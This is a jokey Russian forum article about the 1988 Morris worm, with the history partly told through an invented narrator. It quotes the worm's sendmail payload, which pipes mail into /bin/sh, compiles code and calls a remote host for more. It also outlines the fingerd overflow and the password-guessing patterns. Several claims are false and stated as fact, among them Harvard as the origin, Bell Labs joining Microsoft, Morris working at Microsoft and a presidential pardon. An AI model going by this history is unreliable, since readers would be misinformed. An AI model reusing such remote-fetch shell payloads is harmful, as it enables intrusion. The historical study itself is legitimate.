• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья Историческая вирусология: разговор о первом черве - или как одна ошибка изменила ход истории - Morris Worm

Историческая вирусология: разговор о первом черве - или как одна ошибка изменила ход истории - Morris Worm

ZAC39piX_2Jz2kqplCamKHCgasu0UIRjbKHqT5Zg8h9O0y7QF7bz8utUVojUIWf4mRG5kiu-eExN-GoDW7w_JRrEOXVpOzU4iIE2-UWqvnsqHIn_7mPfvYEYuNYEmMytMgJVW6eqRZi4CuxEVQ

Как бы с вами так поздороваться, чтобы это не выглядело слишком клишированно? А вот я и не знаю, написать что-ли типа: ... привет?

(Кстати, автору комментария, который разгадает все отсылки в моих статьях, м-м-м, давайте 5.000 рублей кину. И давайте расфорсим мои работы).

Или вовсе не здороваться и перейти сразу к сути, нет… Грубо. Поэтому рад приветствовать на очередном выпуске из цикла Исторической вирусологии, а вами как всегда какой-то парнишка DeathDay, стало быть, оставляю ссылочки на три прошлых выпуска из цикла:
  1. Историческая вирусология или LoveLetter в цвете современности - 22 года спустя | немного ностальгии
  2. Историческая вирусология: или 40 миллиардов долларов за 18 лет - MyDoom: хронология, история, анализ
  3. Историческая вирусология: Чернобыль — как это было на самом деле или как заставить ваш ПК полететь из окна: история, хронология, анализ - CIH

Мне, по правде если, уже нечего говорить в этом предисловии, все было сказано в прошлом, но могу пообещать, что выйдет тоже годно.

Действовать будем по аналогичной прошлому методике, но теперь действительно разберем в рамках формата не один исторический вредонос, а целых два, как и обещал. Один из них действительно стоял в истоках и может называться чуть ли не первым червем в современной компьютерной истории, а второй… Второй просто мне понравился. По традиции уже добавляем немного сюжета для простоты восприятия, пое-е… Стоп.

Самое главное забыли. Следуя своим принципам и неким канонам жанра моих статей, оставлю отсылку на какое-то аниме, как подводку к дисклеймеру:

Ночь, где-то позади слышен лай собак, пожилой мужчина в маске идет по лесу, остановившись возле одного из множества хвойных деревьев на поляне. Человек складывает ручные печати, несколько раз сбиваясь из-за сильного истощения своего организма. Невообразимая боль, капли крови падают на землю, пропитывая ту красной и вязкой жидкостью. Техника призыва, Дисклеймер:

Дисклеймер

На самом деле я против зла и то, что я покажу вам далее, может быть, практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект — это знания.


Историческая вирусология: Вирус Морриса, или как я буду постоянно оговариваться


Будет ошибкой называть червь Мортиса первым в своем роде зловредом подобного типа, но его точно можно обозвать первопроходцем, ведь именно этот вирус распространился и нанес около 100-120 миллионов долларов ущерба, а на свои года это не просто колоссально, это прям какой-то мегаящик из 1988 года, опять отсылка к популярной игре.

Вот такой вот он… Мортис в цилиндре.

brawlstars-mortis.gif


По сему я буду именовать его именно первым червем, но лишь для удобства - этому верить не стоит.

1988 год, лето, наконец-то не Тайвань, на сей случай у нас Кембридж, Гарвардский университет, США.

Молодой перспек… нет, наш герой на этот раз полный неудачник, он уже несколько лет балансирует на грани отчисления, над ним многие издеваются, гнобят. Он не имеет никаких выдающихся результатов ни в учебе, ни в работе.

Банальная, серая посредственность, он ленив до невозможности, словно автор статьи.

Имя нашему герою - Иватани Наофуми (отсылка опять, да). Юный студент часто задумывался о проблемах современной сети, на его время таковой она была. Вечер, лето, но уже спустя 20 лет, Иватани прогуливается по улицам Кембриджа, он устал от работы преподавателем в MIT, а в голове крутится лишь одна мысль:

"Что есть интернет в то время?" Если его вообще можно называть таким, ведь это был лишь далекий предшественник того, что мы можем лицезреть в реальности сейчас. Тогда вот этот “интернет” был очень и очень свободным. Делай, что душе заблагорассудится, тем не менее воспользоваться им мог не каждый, всеобщего доступа ещё не было и он использовался исключительно в образовательных, военных и прочих созвучных целях. В сумме в моё время было подключено к сети около 86.000 устройств по всему миру, представьте. Когда уже в 2000 году ЛавЛеттер заражает около пяти миллионов машин. Да, пропасть в 12 лет, но все же.

И ведь никто не беспокоился о безопасности в сети, такого понятия вообще не существовало, не сказать, что все доверяли “интернету”, но и волнений не возникало.

Я считаю, что главной уязвимостью, которой воспользовалось творение моего друга в то время, были не какие-то ошибки или системные недочеты. Именно сам подход интернет-сообщества есть причиной такого ущерба, это как обоюдоострый меч: нанося урон кому-то, ты ранишь и себя. Аналогично произошло и здесь.

В то время у нас существовала некая сеть, которая впоследствии стала лишь прототипом для современного интернета, ARPANET была создана в 1969 году по инициативе Управления перспективных исследований Министерства Обороны США - DARPA.

Эта сеть создавалась в интересах исследователей в области вычислительной техники и технологии для обмена сообщениями, программами и различными данными между государственными организациями: университетами, исследовательскими центрами и частными фирмами, выполняющими работы в интересах Министерства Обороны США.

Далее в 1983 году разрабатывается самый популярный протокол TCP/IP, впоследствии становится основным в ARPANET. Кстати, вот этот прототип окончательно откинулся в 1990 году.

И давайте вернемся в те года, 1988 год, я как всегда провалился на паре и шел домой, как вдруг меня настигает Мортис, ой, Моррис. Он вальяжно снимает свой цилиндр и срывающимся голосом рассказывает мне о его “гениальном” плане по исследованию интернета и просит меня, чертового неудачника, ему в этом помочь.

На деле я тогда и не подозревал, что он хочет меня подставить, ведь Мортис и его цилиндр был единственным человеком, который относился ко мне как к равному и не унижал. Естественно я удивился, давайте немного окунемся в биографию моего первого и единственного друга, а ведь он был полной моей противоположностью.

Кстати, а сам создатель выглядит вот так:


Ладно, шучу, он является полной противоположностью показанного в видео.

И я считаю здесь даже дело в отце Мортиса, ой, опять. Морриса. Он был специалистом в области криптографии, работал в Bell Labs, да это компания такая, которая позже войдёт в состав Майкрософт, и помогал в разработке Unix. И не странно, что сын у него вышел не менее выдающимся, он на отлично окончил школу, а затем был отправлен в Гарвард, где и совершил свои злодеяния, которые, по его словам, не были направлены во вред.

Screenshot_5.png


Вот и следующий день 1988 года, Морис попросил закинуть один файл на компьютер кампуса, честно, я не и не представлял во что это выльется в итоге.

Я сделал все так, как он мне велел и, сам того не понимая, распространил первый в истории червь по очень скромной, если смотреть из точки зрения будущего, сети.

Как объяснил мне позже сам Мортис - он не планировал делать это зловредом, ведь код не нёс в себе никакой полезной нагрузки, он должен был просто распространяться. Тем не менее на зараженных машинах это вызвало крах, проще говоря они просто отказывались реагировать на любые команды и простым языком - зависали. Вредонос начинал просто беспрерывно отправлять машине команды, которые та не успевала обрабатывать, это какой-то вышел DoS, только именно самой системы.

Теперь к хронологии. К сожалению, точных дат и всего такого найти не удалось, поэтому разговор пойдет примитивно.

1988 сразу же после запуска червя, он начинает массово распространяться в ARPANET, каким образом - позже. Его распространение провоцирует массовые отказы всех зараженных устройств.

Следующий день, специалисты и люди, обслуживающие машины, пытаются устранить неполадку, но особо не смекают, что происходит.

День спустя, 75% всех компьютеров, находящихся в сети, заражено и они не в состоянии продолжать работу.

Далее продолжается распространение, что приводит к пятидневному простою, 90% всех машин инфицированы и не функционируют.

На 75 тысячах зараженных машин было около десяти миллионов копий червя, именно это чудовищное самовоспроизведение и повторное заражение и стали фатальными.

Двадцать дней, именно такой временной промежуток заняли работы по дезактивации вредоноса на большинстве машин.

Как примерно выглядел ремонт устройств в те года:

-QPRwL_10N_hfA-l2EpVsmOaZjWtZhZDi55mMphE_o95cuMirYd6riiTk-6UItwU3EMSU0dkMkEr8_10asoxKzklvi-wt4dBPQoQkrzs_fpfW3OgMi2W1dNLKFrnywDV2gjId1K5ErHmgb7w7w


Устройства после такого ремонта в ста процентах случаев продолжали свое нормальное и стабильное функционирование и обретали иммунитет к последующим циклическим заражениям.

После этого создатель червя был найден, так уж пошло, что сперва все пошло на меня и я еле-еле смог избежать судебного процесса, сдав своего друга правоохранительным органам.

Процесс суда был очень неоднозначным, что обвинение, что защита не видели вины в массовом распространении червя в подсудимом. Процитирую прокурора:

"Программное обеспечение было написано для распространения. Я не думаю, что он намеревался причинить ущерб. Это было, скорее всего, случайно либо непреднамеренно".

И здесь никто не считал создателя виноватым, все было списано на ошибку в коде, которую не специально допустил автор вируса.

А в итоге Мортис сделал заявление, которые ввело судебный процесс в заблуждение и получилось так, что начали подозревать в атаке спецслужбы из другой страны.

Но это быстро замяли, свели на нет, скажем так. Все сошлись на мнении, что вирус был создан для того, чтобы показать необходимость защищать машины, что впоследствии привело к созданию нескольких антивирусных компаний.

Стало быть итоговым приговором Морриса, кстати, это ведь первое дело о федеральном киберпреступлении в США, были несколько десятков часов общественных работ, штраф на сумму в 10.500$. И … Все.

Год спустя Мортису было выписано президентское помилование и он был освобожден от своего наказания, ведь многие осознали благодаря этой шишке на лбу, необходимость развивать не только технологии, но и их защиту.

Щелчок, темень, резкий переход на свет. И снова здравствуйте, теперь давайте разберемся в принципе работы этого чуда: как он распространялся, на что был изначально ориентирован, ну и немного поглядим на исходный код, если мне вообще удастся его найти.

Итак, Червь Мортиса, та емае, я уже устал писать это слово, Морриса, как можно не запомнить-то, а. Изначально программа, а я её так впервые называю, была ориентирована на перехват сообщений между крупными компаниями, организациями, учреждениями ( военными, образовательными и так далее). Вирус подменял исходный текст письма на свой, который отправлялся через APRANET, с удалением заголовков и окончаний в отладочном режиме Sendmail, который был скрыт кстати, но фактически существовал из-за ошибки производителя, который просто забыл удалить эту функцию из арсенала готовой программы. (То есть видите как прикольно выходит все: ошибка умноженная на ошибку равно катастрофа и это закономерность, порядок этого мира).

Добавлю уже после итогов, что он был написан на языке С, но по декомпайлу, который я оставлю во вложениях, уже по традиции, это можно было понять и так.

Или при переполнении буфера сетевого finger-сервиса. Первая часть в новом письме содержала код, скомпилированный на удаленном терминале, а третья состояла из такого же бинарного кода, но адаптированного под разные компьютерные системы.

Поглядите, как бы выглядело итоговое письмо, подменное Червем Мортиса:
Код:
debug
mail from: </dev/null>
rcptto:<"|sed-e '1,/^$/d' | /bin/sh; exit 0">
data
cd /usr/tmp
cat >x14481910.с <<'EOF'
<текст программы l1.c>
EOF
cc -о х14481910 х14481910.с; х14481910 128.32.134.16 32341 8712440; rm -f x14481910 x14481910.c
.
quit

Также в скрипте находилась функция удаленного выполнения rexe, которая основывалась на сертификате доверия. Происходило это путем подбора ключа, посредством функции-интерпретатора rsh.

А теперь поговорим о самом письме. Как можно заметить в нем заменены заголовки при помощи функции текстового процессора sed, потом производилось сохранение файла исходного кода.

После червь генерирует команды для компилирования кода, запуск исполняемого файла и очистки временных файликов.


Для эксплуатации уязвимости сервиса fingerd, червь передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve("/bin/sh", 0, 0). Но это было актуально только для компьютеров VAX с установленной ОС 4.3BSD, на компьютерах SUN под управлением SunOS такое бы не прокатило.

Screenshot_6.png


Для использования метода распространения через rexec и rsh путем выполнения дефолтных системных операторов создавался список пользователей машины. Далее червь проводил первый в истории грубый метод подбора паролей, да, тот самый Брутфорс, используя дефолтные значения, типа USER;USER и так далее, а тогда, если судить по статистике распространения, чего-то другого в качестве пароля и не ставили.

Помимо подбора в rsh использовался механизм доверия, или по другому механизм упрощенной идентификации по IP адресу удаленной машины. Сперва проводился поиск файла по адресу:
Код:
/etc/hosts.equiv и .rhosts

И ещё огромный прикол состоял в принципе доверия “машина-машина”, а он постоянно был на параметре “Взаимно”. Поэтому практически в ста процентах случаев перечень IP адресов из этих файлов, найденных червем, позволял осуществить вход в удаленную систему через rsh вообще не используя пароль.

Кстати, принцип брутфорса был примитивным, хотя какой ещё может быть метод? Верно, только примитивным и грубым, если обратиться к переводу. Вот набор параметров, по которому происходил подбор:
  • пустой;
  • имя пользователя (user);
  • имя пользователя, написанное наоборот (resu);
  • двойной повтор имени пользователя (useruser);
  • имя или фамилия пользователя (Vasa, Petya, Pedro );
  • имя или фамилия пользователя в нижнем регистре (vasya, petya);
  • встроенный словарь размером 432 слова, а он оказалось был.
  • файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD как орфографический словарь. Если слово начинается с прописной буквы, то проверялся и вариант со строчной буквой.
Также хочу отметить, что Мортис действительно был в цилиндре, и его головной убор явно прибавлял ему интеллекта, ведь его творение было очень умным и затрудняло свое обнаружение на зараженной машине, а кроме этого малый размер исходного кода способствовал быстрой генерации и распространению, хотя в итоге оно просто переросло в цикличный запуск, ведь функции, проверяющей запускался ли червь на устройстве ранее, нет.

Итак, это у нас целый комплекс методов, которые всячески мешали администраторам чинить устройства:
  • удаление своего исполняемого файла после запуска;
  • отключались все сообщения об ошибках, а размер аварийного дампа устанавливался в ноль;
  • исполняемый файл червя сохранялся под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, таким образом, червь маскировался в списке процессов;
  • примерно каждые три минуты порождался дочерний поток, а родительский завершался, при этом происходило постоянное изменение pid процесса червя и обнулялось время работы, показываемое в списке процессов;
  • все текстовые строки были закодированы путем применения операции xor 81h.
И, к сожалению, мне просто нет на чем протестировать этого легендарного червя, жаль. Но думаю, что и без этого все очень подробно разобрано. Я вот так подумал, похоже, что червь Бласт сюда опять не войдет, ибо статья уже выходит действительно большой, если не смотреть на ту писанину о MyDoom.

Как вы думаете, что произошло с Робертом Моррисом после этого?
Сам вирус благополучно изолирован, а вот сам создатель работает в компании Майкрософт. Моррис в 2008 году анонсировал выход языка Arc, основанного на «Липс», а в 2010 году стал номинантом и обладателем премии имени Везера. Успешная жизнь, успешного человека, создавшего успешного червя.

Итоги

Второе ноябля… Ноября, прошу простить, проблемы с словом этим. Сначала.
Второе ноября 1988 года, более 75 тысяч зараженных машин, порядком 90% всей машинной составляющей “интернета”. Отказ в обслуживании и парализованная работа систем на протяжении месяца, но при этом не пострадал ни единый пользовательский файл. То, что должно было стать исследованием простор сети - стало революцией в подходе к созданию информационных технологий и полностью перевернуло осознание безопасности, несомненно пошло на пользу.

Эта огромная шишка на лбу 1988 года, сделала огромный вклад в развитие, но и примерно 100 миллионов. Мортис - легендарный бравлер.
А с вами был, уже действительно, как всегда какой-то анимешный парень под ником DeathDay и ещё одна статья из цикла исторической вирусологии. Если вас интересует, как выглядит человек, написавший четыре статьи за два дня, то вот:

tcqvwMXe85DTqsWn80VvQx-AIOgKA8UAT5vuSRiI6OvqLmqhoKkPNqnzsM6RsbVCt9BliFgB3IavbqwuzN-bsHkzcDd2GvqXABb3vO52FFcJJudEZ4nYBix2d9mw-18t5jGuul7mNY-AZo5L3A


Выгляжу сейчас примерно так. Да. Эта гифка ещё появится в начале последней статьи и ознаменует конец моего статейного марафона.

Мира всем, ребятки. Не забывайте подписываться на кана… Какой канал? Короче комментируйте, ставьте лайки. Не прощаюсь.


Mortis Morris Worm. 2.10.1988.​
 
Последнее редактирование:
09.11.2017
258
260
BIT
5
Кхм кхм кхм прочитал все возьму на вооружение себе при приключениями так всё бомбезно и познавательно:)
 
  • Нравится
Реакции: DeathDay
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!